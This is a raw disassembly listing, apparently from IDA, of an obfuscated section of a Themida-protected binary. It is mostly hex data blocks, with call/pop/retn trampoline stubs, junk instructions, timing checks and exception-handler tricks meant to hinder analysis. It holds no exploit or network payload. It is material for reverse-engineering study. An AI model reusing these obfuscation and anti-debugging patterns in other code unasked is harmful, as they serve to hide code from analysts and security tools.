6140939h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 83C35545h, 42FA809Fh, 9607218Bh dd 0EE960h, 0A3050000h, 3C4F0898h, 0D0196F50h, 4452B355h dd 7E957h, 0D3D70000h, 7ADFAE80h, 50615948h, 0EE9h, 201B1000h dd 385111C3h, 3FAE2010h, 96FC30B8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 74C35141h, 547E02C4h, 371B55C8h dd 698589C0h, 0FF06142Dh, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0FA8B6621h dd 20F595FFh, 0BE90614h, 0CB000000h, 0A0F0D982h, 2348AB90h dd 0BD830DFFh, 6140C21h, 78840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 6456C353h, 0B92CC42Eh, 0A8FB0F25h, 1DA19D8Bh, 50960614h dd 9E852h, 0DC100000h, 5291B0C1h, 0E9A1D80Ah, 8, 0AE3508AEh dd 1188B17Ah, 0E8310F5Bh, 12h, 78947DFAh, 9C671254h, 77DB67E7h dd 16C32F69h, 0E3BB9733h, 5F59458Fh, 0BF50585Ah, 74ED0EE0h dd 0E9BD8B96h, 0FF061419h, 17AA98B5h, 0FF5F5306h, 1402B195h dd 0DBD8B06h, 6606140Fh, 0FF52B0BFh, 17AA98B5h, 0DF816606h dd 95FFD55Ch, 6143081h, 2ED19D8Bh, 0BD830614h, 61409F5h dd 55840F02h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0E55DC352h, 5559D8Bh dd 858B0614h, 6142D01h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 7CC35242h, 959D894Bh, 0C6061404h, 85310000h dd 6142AC1h, 244D85C7h, 614h, 0DE80000h, 1D000000h, 0F8A325E5h dd 30F4982Fh, 504C078h, 10EDBD8Bh, 0E95F0614h, 0FFFFF3AFh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0CDC35242h dd 0E3078900h, 5D8589BBh, 60061434h, 2FADB58Bh, 0EF810614h dd 5096908Eh, 6AC18B61h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0BF3C353h, 1299DFE3h dd 34D5BD89h, 858D0614h, 6140F99h, 1D75BD8Bh, 66900614h dd 5086ECBBh, 0F41B160h, 48Dh, 0D8B86600h, 8B906195h, 6A006AFEh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 3912C350h, 2B7DFB62h, 9DBF6671h, 6A006AA3h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 78D3C357h, 0D88BEF0Dh, 858D44B7h, 618FED5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A6C35343h dd 0C4C2E751h, 0FE940h, 92640000h, 0AC85F146h, 0EBC85ADBh dd 3050D749h, 5C08344h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 93C35646h, 0D381F613h, 7751DA8h, 462EA2BFh dd 0F8BB5004h, 8938CE92h, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0AEE76DC3h, 0EEEFB854h dd 89781EABh, 141605B5h, 55BD8906h, 6A061405h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 9F714218h, 0CF3F5BEEh, 62D78166h, 6A006A8Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0CF6BC352h, 927C437h, 0FF7780D2h, 141A7195h, 61950906h dd 8D06142Eh, 17A8FC8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 39B8B6Ch, 8B44D694h, 1414D1BDh dd 6AD1FF06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 9DD5C351h, 1B658531h, 0BD830614h dd 61412CDh, 95850F01h, 0BF000000h, 416ECE56h, 8B60026Ah dd 140869BDh, 0F7815706h, 5D572436h, 0E8906159h, 9, 38AEA3B3h dd 67F3B147h, 5BF98B97h, 6E850h, 90B90000h, 0B2F4022Ah dd 0DE8h, 5E8D7600h, 0E771BA81h, 3EC211A2h, 5F5FE0BCh dd 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 3995FF8Bh, 6A061409h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0CB6EC352h dd 0E4B90DCAh, 0BD29F005h, 6141D29h, 0CE4E9h, 0E800h, 815D0000h dd 18FEDFEDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 55F9DB3h, 1DFC1899h, 0C9BD0951h dd 6A061409h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 49D3C351h, 8D475F0Fh, 17962385h dd 9E906h, 55650000h, 97D80076h, 509AE530h, 0D3EBBB66h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 49ADC353h, 6427C051h, 35FFh, 0BD890000h dd 61402F1h, 258964h, 9000000h, 1402F1BDh, 0F98B6606h dd 236D85FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 50D0AEC3h, 900DABD3h, 0E95E2E5Eh dd 6, 924D0AA9h, 0FF6AFAF5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 33C35545h, 0B5FFB98Dh, 614220Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E4C35141h dd 0F8B25D74h, 0C9F42F84h, 80C0BF66h, 2B1995FFh, 42E90614h dd 0F000001h, 0B0DEB7h, 70E6FA8Ah, 0E487EB80h, 0D1858971h dd 906140Bh, 14347D8Dh, 0F613C06h, 12083h, 0FD98B00h, 12E8C8B6h dd 17000000h, 0E9BE788Eh, 0B409F102h, 78708398h, 0E7DE9D80h dd 5B95B7C9h, 6BAh, 0B9526000h, 5AD520BBh, 0C18B615Fh dd 5A19D89h, 8D0F0614h, 0 ; --------------------------------------------------------------------------- shr eax, 4 jns loc_598C60 xor bh, 99h loc_598C60: ; CODE XREF: Themida_:00598C57j mul dx and edi, 398E6777h mov ebx, [ebp+614107Dh] sub ecx, eax mov di, bx mov edx, ecx mov bh, 0E8h mov ebx, [ebp+614192Dh] jmp loc_598D39 ; --------------------------------------------------------------------------- db 2Bh dd 141B799Dh, 118A0F06h, 0F000000h, 0B8Bh, 6E900h, 2B240000h dd 0B0E0F81Eh, 4C50858Bh, 0BD8B4755h, 6141B9Dh, 6007C083h dd 68C0Fh, 8C0F0000h, 0 ; --------------------------------------------------------------------------- jnb loc_598CC4 mov bh, ah loc_598CC4: ; CODE XREF: Themida_:00598CBCj popa add eax, 0 jmp loc_598CD7 ; --------------------------------------------------------------------------- db 0C5h, 0F1h, 4Ah dd 688C385Dh db 0F6h, 0E3h, 0D8h ; --------------------------------------------------------------------------- loc_598CD7: ; CODE XREF: Themida_:00598CC8j mov edi, [ebp+6141C3Dh] cmp edx, eax jnb loc_598CF3 mov ebx, [ebp+61415D9h] jmp loc_598D39 ; --------------------------------------------------------------------------- mov bx, si loc_598CF3: ; CODE XREF: Themida_:00598CDFj mov ecx, [ebp-1] movsx edi, si and ecx, 1 jz loc_598D39 and dword ptr [ebp-1], 0FFFFFFFEh push edi jno loc_598D19 sub edi, [ebp+6141C99h] loc_598D19: ; CODE XREF: Themida_:00598D0Dj pop edi mov [ebp+47554C50h], edx pusha jns loc_598D2D mov [ebp+6140659h], ecx loc_598D2D: ; CODE XREF: Themida_:00598D21j and esi, 943413Eh popa jmp $+5 loc_598D39: ; CODE XREF: Themida_:00598C7Ej ; Themida_:00598CEBj ... lea esi, [ebp+6187C82h] push 0 push esi call sub_598D4A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598D4A proc near ; CODE XREF: Themida_:00598D42p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_598D4A endp ; --------------------------------------------------------------------------- dw 0CE7Fh ; --------------------------------------------------------------------------- mov edi, [ebp+6140B85h] push 0 push 0 push ecx call sub_598D6F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598D6F proc near ; CODE XREF: Themida_:00598D67p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_598D6F endp ; --------------------------------------------------------------------------- wait rol byte ptr [ecx], 0FFh xchg eax, ebp imul edx, [ecx], 9D8B0614h test [ebx], edx adc al, 6 mov [ebp+6140BB5h], ecx mov ecx, 0FDDh jmp loc_598DA6 ; --------------------------------------------------------------------------- dw 96E8h dd 81FDF7C8h db 0DFh, 97h ; --------------------------------------------------------------------------- loc_598DA6: ; CODE XREF: Themida_:00598D99j and ecx, 0FFFFFFFCh push 0 push ebx call sub_598DB4 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598DB4 proc near ; CODE XREF: Themida_:00598DACp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_598DB4 endp ; --------------------------------------------------------------------------- daa mov edi, 643D9775h mov [ebp+61400B5h], ecx cld mov edi, eax loc_598DD3: ; CODE XREF: Themida_:00598DF4j mov eax, 0 and edi, [ebp+6140EE1h] mov edx, 0 mov edi, [ebp+614112Dh] jmp loc_598DF6 ; --------------------------------------------------------------------------- dw 7CA4h dd 3DC2B63Eh ; --------------------------------------------------------------------------- jnb short loc_598DD3 loc_598DF6: ; CODE XREF: Themida_:00598DE9j ; Themida_:00598E00j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_598DF6 push 0 push edi call sub_598E0D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598E0D proc near ; CODE XREF: Themida_:00598E05p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_598E0D endp ; --------------------------------------------------------------------------- db 65h, 0DEh, 3Fh dd 863A02E8h, 56006AF0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 8BA2E8DFh, 141495BDh, 880D06h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0E824A0C3h, 5CD9D8Bh, 958B0614h, 6143229h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 18C35242h, 0F215A2Ah dd 38Ah, 0DF8B6600h, 21A98D89h, 8D8B0614h, 614064Dh, 12C18529h dd 8B500614h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 3F5ABABBh, 0ADBD8356h, 61429h, 53840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0F224B2C3h, 0E8BA7AA1h, 13h, 2AD2FB09h, 0ABFEE5CCh dd 3F3AD4Eh, 0BDDD566Ch, 665F6A46h, 5B02CABFh, 0B8h, 8D1AB300h dd 144D798Dh, 0D9858906h, 0FF061421h, 71BD83E1h, 61426h dd 39F840Fh, 8D890000h, 6142C99h, 485CC8BFh, 71BD830Ch dd 1061426h, 3A2840Fh, 95890000h, 6141AA9h, 2671BD83h dd 0F030614h, 35986h, 0E8605700h, 9, 23F7845h, 253057F7h dd 5A505A40h, 0BF605F61h, 186FA47Ch, 8BD98C66h, 142121BDh dd 4E18006h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0C6C35343h, 408E2FBEh, 0BD093DE8h, 6141AC5h, 840FC90Ah dd 128h, 1995BD2Bh, 858B0614h, 6141969h, 2B759589h, 85330614h dd 6141B81h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0D1C35545h, 0BD897B2Fh, 6140E59h, 89FE8B50h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0ECD13BC3h, 0CE9F46Eh, 3D000000h, 3C1F26h, 5688406Eh dd 0F0FEAC1h, 686h, 0CDBD0B00h, 6A061421h, 68E0F00h, 81000000h dd 7935C5F7h, 6B5E6809h, 8B661BB6h, 243481DAh, 1BA968A1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DEC35646h dd 7D2A0D75h, 0AD95FFC4h, 6A061409h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 3679C355h dd 6608E914h, 3F512E1Bh, 5B5F5753h, 0AA988589h, 6A0617h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0C163A3C3h, 113154EDh, 0E9F38166h, 86E9F90Fh, 8B000001h dd 1410A5BDh, 0BD38006h, 0AA90858Bh, 880F0617h, 6, 4525F781h dd 0C7551Bh, 18h, 1DDBD89h, 0B58B0614h, 617AA94h, 1D099D8Bh dd 0BF0F0614h, 29858BFAh, 6A06140Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 9C29C352h dd 77E13E01h, 66D2949Fh, 0B589F98Bh, 6142EB5h, 8B660689h dd 69858BFEh, 0BF061419h, 1F3CA8Ch, 6A044689h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 9A56C353h, 0C5B3E09Dh, 0E03CBF96h, 66502B81h, 2396F88Bh dd 14224DBDh, 0F9B70F06h, 0AA90B5FFh, 6A0617h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 4B75E4C3h, 29F517DAh, 140F1985h, 0D28D6806h, 34813B2Ah dd 35D17224h, 52006A3Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 57E11EF2h, 0C80E45EAh, 8589065Fh dd 6142171h, 49571FBFh, 98858D55h, 6A0617AAh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 5032C356h, 89F98B66h, 8B662404h, 0AD95FFF8h, 6A061409h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 97A5C352h, 0FD928577h, 5850F52h, 0BF000000h dd 7F80A4E4h, 0BB66605Bh, 9D89CE54h, 61402ADh, 9D0B6161h dd 6140471h, 2F19BD8Bh, 85C70614h, 6142671h, 3, 7801E781h dd 0BD831195h, 617AA98h, 33840F00h, 89000000h, 1423B1BDh dd 43E906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 965822C3h, 38C0F78h, 80000000h dd 305032F3h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0AB1EDC57h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0D6C35141h, 0BD83FE8Ah, 6142671h dd 0EF850F03h, 0BF000003h, 27E213B1h, 0AA98BD83h, 0F000617h dd 3DD84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 178C0F18h, 0E9000000h, 12h, 118D7B58h dd 0F3511AFBh, 0C48EEB87h, 4D6548Ch, 0B5FF95C3h, 617AA98h dd 0E299D23h, 95FF0614h, 6142AF5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 2DC35343h, 79B5896Ch, 8B061416h dd 17AA8CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 20C59AAEh, 43C04Dh, 0BB66496Fh, 95895462h dd 6140369h, 106C7h, 0F960001h, 888h, 2860F00h, 50000000h dd 6696505Fh, 0FF8E9ABBh, 17AA98B5h, 0C1BB6606h, 3195FF87h dd 6A06140Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0BCC7C351h, 0B3DCADBh, 0CBDF4545h dd 0AA8CB58Bh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F77ABC3h, 0E88h, 0B58B6000h, 61403C5h dd 25659D09h, 8B610614h, 1421D585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 863CE51Ah dd 5DCF7112h, 8E9112Bh, 0D7000000h, 53219F2Ah, 89BA4B15h dd 0C486h, 0CD9D8B00h, 8B061415h, 14322995h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0F823B354h, 83DBB70Fh, 0BF0F04C2h, 205089FBh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D7C35242h, 6F989057h dd 0B70F1791h, 7DA5BFDAh, 858D6EC6h, 617BE06h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 16C35242h, 0F1DE1F38h dd 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 29BDBEC3h, 1FB59D8Bh, 6A0614h, 0AA98B5FFh dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 5940A5C3h, 3F5443F4h, 0FFF8F94Eh, 14093995h dd 96F88A06h, 245357BBh, 5250503Fh, 310F5250h, 310F585Ah dd 585AF98Bh, 79BD8996h, 0FF06140Eh, 17AA98B5h, 0F99D8B06h dd 0FF061431h, 1420F595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0F5047864h dd 0C21BD83h, 0F000614h, 4284h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 7C6623A1h, 0D7640560h dd 1549BD8Bh, 8B660614h, 7E950DAh, 3D000000h, 0E778DD73h dd 34898F73h, 0C99D8B24h, 0FF061402h, 17AA98B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0F8D7217Bh, 0FC8AE73h, 81h, 0B195FF00h, 6A061402h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 9DBDC357h, 35A3C79h, 899D8BC5h, 0FF061424h, 17AA98B5h dd 0D9BF0F06h, 68A0Fh, 85890000h, 61412C9h, 308195FFh dd 81660614h, 83901CCFh, 1409F5BDh, 840F0206h, 3Eh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0ACC35343h, 860064E0h dd 18D9BD09h, 858B0614h, 6142D01h, 0C60AB7h, 8E900h, 2EB20000h dd 8496AC0Ah, 85C7953Dh, 614244Dh, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_59972F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59972F proc near ; CODE XREF: Themida_:00599727p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_59972F endp ; --------------------------------------------------------------------------- db 36h dd 81BD8Bh, 53E90614h, 6AFFFFF4h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3343C356h dd 1242AB92h, 4EDE12B5h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0E5F8C9C3h, 0AFA4E4D2h dd 8161B145h, 0DE7809F3h, 99858D1Dh, 0BF06140Fh, 4110153h dd 68B0F90h, 60000000h, 0D78BD88Ah, 8E0F5061h, 0 db 90h ; --------------------------------------------------------------------------- and ebx, 6BBFB44Ch xor ebx, [ebp+61400FDh] push 0 push 0 push ebp call sub_5997D6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5997D6 proc near ; CODE XREF: Themida_:005997CEp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5997D6 endp ; --------------------------------------------------------------------------- push ebp and edi, [edx-2Ch] db 66h das mov byte ptr [ebx+23h], 6Ah add [edx+0], ch push edx call sub_5997FC and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5997FC proc near ; CODE XREF: Themida_:005997F4p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5997FC endp ; --------------------------------------------------------------------------- and ebx, [ebx] cmc or [eax-2D5DD126h], edx mov ebx, [ebp+61431B1h] lea eax, [ebp+6190DA2h] add [ebp+6142E8Dh], esi add eax, 5 push 0 push edi call sub_599835 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_599835 proc near ; CODE XREF: Themida_:0059982Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_599835 endp ; --------------------------------------------------------------------------- xchg dh, al mov bh, 90h jz loc_599851 mov bl, 0BDh loc_599851: ; CODE XREF: Themida_:00599849j push eax mov bx, 0E52Dh nop add edi, [ebp+61409DDh] push 0 mov [ebp+6142A15h], ecx push 0 push 0 push edx call sub_599872 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_599872 proc near ; CODE XREF: Themida_:0059986Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_599872 endp ; --------------------------------------------------------------------------- fimul word ptr [ebx+140E55BDh] push es mov [ebp+6141B21h], edx call dword ptr [ebp+6141A71h] push 0 push ebx call sub_5998A0 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5998A0 proc near ; CODE XREF: Themida_:00599898p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5998A0 endp ; --------------------------------------------------------------------------- ror byte ptr [ebp+17A8FC8Dh], 1 push es push 0 push edx call sub_5998C2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5998C2 proc near ; CODE XREF: Themida_:005998BAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5998C2 endp ; --------------------------------------------------------------------------- xor bl, ah jmp short loc_599923 ; --------------------------------------------------------------------------- dw 2569h ; --------------------------------------------------------------------------- call ecx push 0 push ecx call sub_5998E5 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5998E5 proc near ; CODE XREF: Themida_:005998DDp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5998E5 endp ; --------------------------------------------------------------------------- adc byte ptr [edx+edi-68h], 19h sti inc edx retn 35D1h ; --------------------------------------------------------------------------- xor ebx, [ebp+6140651h] cmp dword ptr [ebp+61412CDh], 1 jnz loc_599981 add bh, 23h push 2 push 0 push edi call sub_599922 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_599922 proc near ; CODE XREF: Themida_:0059991Ap arg_4 = dword ptr 8 pop edi loc_599923: ; CODE XREF: Themida_:005998D4j mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_599922 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb bh, [eax+667BD445h] adc ebx, 8B665025h dec byte ptr [ecx+14246D8Dh] push es nop push eax mov edi, 3ECB2E6h nop push 0 push ebp call sub_599958 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_599958 proc near ; CODE XREF: Themida_:00599950p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_599958 endp ; --------------------------------------------------------------------------- dd 2B45C976h, 6682A419h, 0FF6080BFh, 14093995h, 0C7815306h dd 130B3C9Eh ; --------------------------------------------------------------------------- pop edi loc_599981: ; CODE XREF: Themida_:0059990Cj jmp loc_59A6BB ; --------------------------------------------------------------------------- dw 0E8h dd 5D000000h, 0DACED81h, 0BD8B0619h, 6140611h, 0B8A0Fh dd 6E90000h, 0B5000000h, 6BCFEFFFh, 23858DC0h, 0E9061796h dd 7, 20FED821h, 506B708Ch, 489D98Bh, 0CE924h, 6A8A0000h dd 9047214Bh, 1F8F5A8h, 95898042h, 6141D3Dh, 35FF64h, 0F000000h dd 8964F9B7h, 25h, 919D8B00h, 0FF061419h, 14236D85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 17C8EF3h, 142B81BDh, 0DDBD8B06h, 89061408h, 1422918Dh dd 6AFF6A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0CEBC355h, 0D2B14483h, 23E59D89h dd 0D7800614h, 0D5B5FFABh, 6A061400h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 7658C350h dd 0E9A9C64Dh, 10h, 0DAE26930h, 0E9B68718h, 0A5E073CAh dd 0C5B557A2h, 2B1995FFh, 28E90614h, 60000001h, 0A4E08166h dd 61C18AE8h, 9D3100B0h, 61412D9h, 7C3D29BBh, 0E970E61Ch dd 9, 0C7902C4Dh, 424814C7h, 0F71E4C1h, 68Eh, 0D59D0300h dd 3C061410h, 0EC830F61h, 60000000h, 3845B966h, 14E19D89h dd 0F610614h, 0E957C8B6h, 5, 0AB01F36Bh, 6BA5F8Bh, 89000000h dd 14258595h, 81C18B06h, 0E6958FC3h, 4E8C16Eh, 0FE2F766h dd 28Ah, 2BFB8B00h, 0F88B66C8h, 1B4DDB81h, 0D18B7361h dd 0C08160h, 0E811FDAAh, 9, 0F641BDE6h, 0C9170E1Ah, 55852914h dd 5E06142Eh, 81E961h, 0FE8A0000h, 4E49858Bh, 0BD034400h dd 61403E1h, 8307C083h, 0F9BB00C0h, 3B235EE9h, 0E830FD0h dd 23000000h, 1405A5BDh, 55E906h, 8B660000h, 0FF8D8BDFh dd 29FFFFFFh, 142AF1B5h, 1E18306h, 3D840Fh, 0DE90000h dd 0C000000h, 0E4661B1Eh, 6D5D31E8h, 0B854AEE7h, 79EB8166h dd 0FFA58363h, 0FEFFFFFFh, 0D9D8BF8h, 89061420h, 4E4995h dd 85BE6044h, 89644048h, 141D6195h, 0E96106h, 8D000000h dd 188C5FB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0F27C38ADh, 6AF98Bh, 909BD29h, 0FD8A0614h dd 116995FFh, 0BE80614h, 0C0000000h, 0D424BC62h, 16BB1478h dd 5BFC81FBh, 0ED4B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0FA0140BDh, 0F7D471C9h dd 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0F9FCC356h, 0FC59F6Eh, 0B8Bh dd 6E900h, 7B2F0000h, 0D37CA7DAh, 819D89FCh, 2B06140Ch dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 623013Bh, 49858959h, 2B06142Ch, 1DB589D2h dd 6006142Bh, 631BD8Bh, 4CBB0614h, 613B56A6h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0DE30BF66h, 2561B529h, 880D0614h dd 66000000h, 8BD3A3BBh, 14322995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0F4EB7E2h dd 8D8BFBB7h, 614064Dh, 2B05BD8Bh, 8B500614h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 81C35141h, 499D8B27h, 0F061404h dd 0BD83FEBFh, 61429ADh, 5C840F00h, 8B000000h, 1421299Dh dd 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 6E55ADC3h, 65B31643h, 935B589h dd 0DF8B0614h, 4D798D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0FF3BF9C3h, 83D7B7E1h dd 142671BDh, 840F0006h, 41Fh, 302D9D8Bh, 0BD830614h, 6142671h dd 27840F01h, 0F000004h, 0BD83FFB7h, 6142671h, 0E1860F03h dd 8B000003h, 8C6660DFh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 4E180C9h, 8FDBD89h, 0C90A0614h dd 14C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0C4FDA0C3h, 8BAC4235h, 142B999Dh dd 25BD8B06h, 57061408h, 0FE8h, 6D16D500h, 0E184BA32h dd 0DABFA2BDh, 5D33C453h, 5BD98B66h, 69858B5Fh, 0E9061419h dd 9, 6388631Ch, 993E69D4h, 818533A3h, 0B706141Bh, 0BF6650BFh dd 489F3DDh, 0BDB53124h, 6A061421h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 681930BBh dd 0D1C706E6h, 